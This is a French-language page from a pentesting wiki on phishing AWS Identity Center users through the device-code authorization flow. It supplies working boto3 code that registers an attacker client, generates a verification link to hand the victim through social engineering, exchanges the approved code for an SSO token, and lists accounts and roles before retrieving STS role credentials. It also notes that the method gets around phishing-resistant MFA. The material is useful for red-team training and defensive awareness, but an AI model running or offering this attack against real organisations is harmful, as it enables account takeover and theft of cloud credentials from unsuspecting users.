# AWS - Identity Center & SSO Enum non authentifié

{{#include ../../../banners/hacktricks-training.md}}

## Phishing par code de dispositif AWS

Initialement proposé dans [**cet article de blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), il est possible d'envoyer un **lien** à un utilisateur utilisant AWS SSO qui, si le **utilisateur accepte**, permettra à l'attaquant d'obtenir un **jeton pour usurper l'identité de l'utilisateur** et accéder à tous les rôles auxquels l'utilisateur peut accéder dans le **Identity Center**.

Pour réaliser cette attaque, les prérequis sont :

- La victime doit utiliser le **Identity Center**
- L'attaquant doit connaître le **sous-domaine** utilisé par la victime `<victimsub>.awsapps.com/start`

Avec ces informations, l'**attaquant pourra envoyer un lien à l'utilisateur** qui, s'il est **accepté**, accordera à l'**attaquant l'accès au compte** utilisateur AWS.

### Attaque

1. **Trouver le sous-domaine**

La première étape de l'attaquant est de découvrir le sous-domaine que l'entreprise victime utilise dans son Identity Center. Cela peut être fait via **OSINT** ou **devinette + BF** car la plupart des entreprises utiliseront leur nom ou une variation de leur nom ici.

Avec cette info, il est possible d'obtenir la région où le Identity Center a été configuré :
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Générez le lien pour la victime & Envoyez-le**

Exécutez le code suivant pour générer un lien de connexion AWS SSO afin que la victime puisse s'authentifier.\
Pour la démonstration, exécutez ce code dans une console python et ne la quittez pas car vous aurez besoin de certains objets pour obtenir le token :
```python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Envoyez le lien généré à la victime en utilisant vos incroyables compétences en ingénierie sociale !

3. **Attendez que la victime l'accepte**

Si la victime était **déjà connectée à AWS**, elle n'aura qu'à accepter l'octroi des permissions, si elle ne l'était pas, elle devra **se connecter puis accepter l'octroi des permissions**.\
Voici à quoi ressemble l'invite de nos jours :

<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>

4. **Obtenez le jeton d'accès SSO**

Si la victime a accepté l'invite, exécutez ce code pour **générer un jeton SSO en usurpant l'utilisateur** :
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
Le jeton d'accès SSO est **valide pendant 8h**.

5. **Usurper l'identité de l'utilisateur**
```python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing le MFA impénétrable

Il est amusant de savoir que l'attaque précédente **fonctionne même si un "MFA impénétrable" (webAuth) est utilisé**. Cela est dû au fait que le **flux de travail précédent ne quitte jamais le domaine OAuth utilisé**. Contrairement à d'autres attaques de phishing où l'utilisateur doit remplacer le domaine de connexion, dans le cas où le flux de code de dispositif est préparé, un **code est connu par un dispositif** et l'utilisateur peut se connecter même sur une machine différente. Si l'invite est acceptée, le dispositif, simplement en **connaissant le code initial**, sera capable de **récupérer les identifiants** pour l'utilisateur.

Pour plus d'infos sur ce [**vérifiez ce post**](https://mjg59.dreamwidth.org/62175.html).

### Outils Automatiques

- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)

## Références

- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)

{{#include ../../../banners/hacktricks-training.md}}
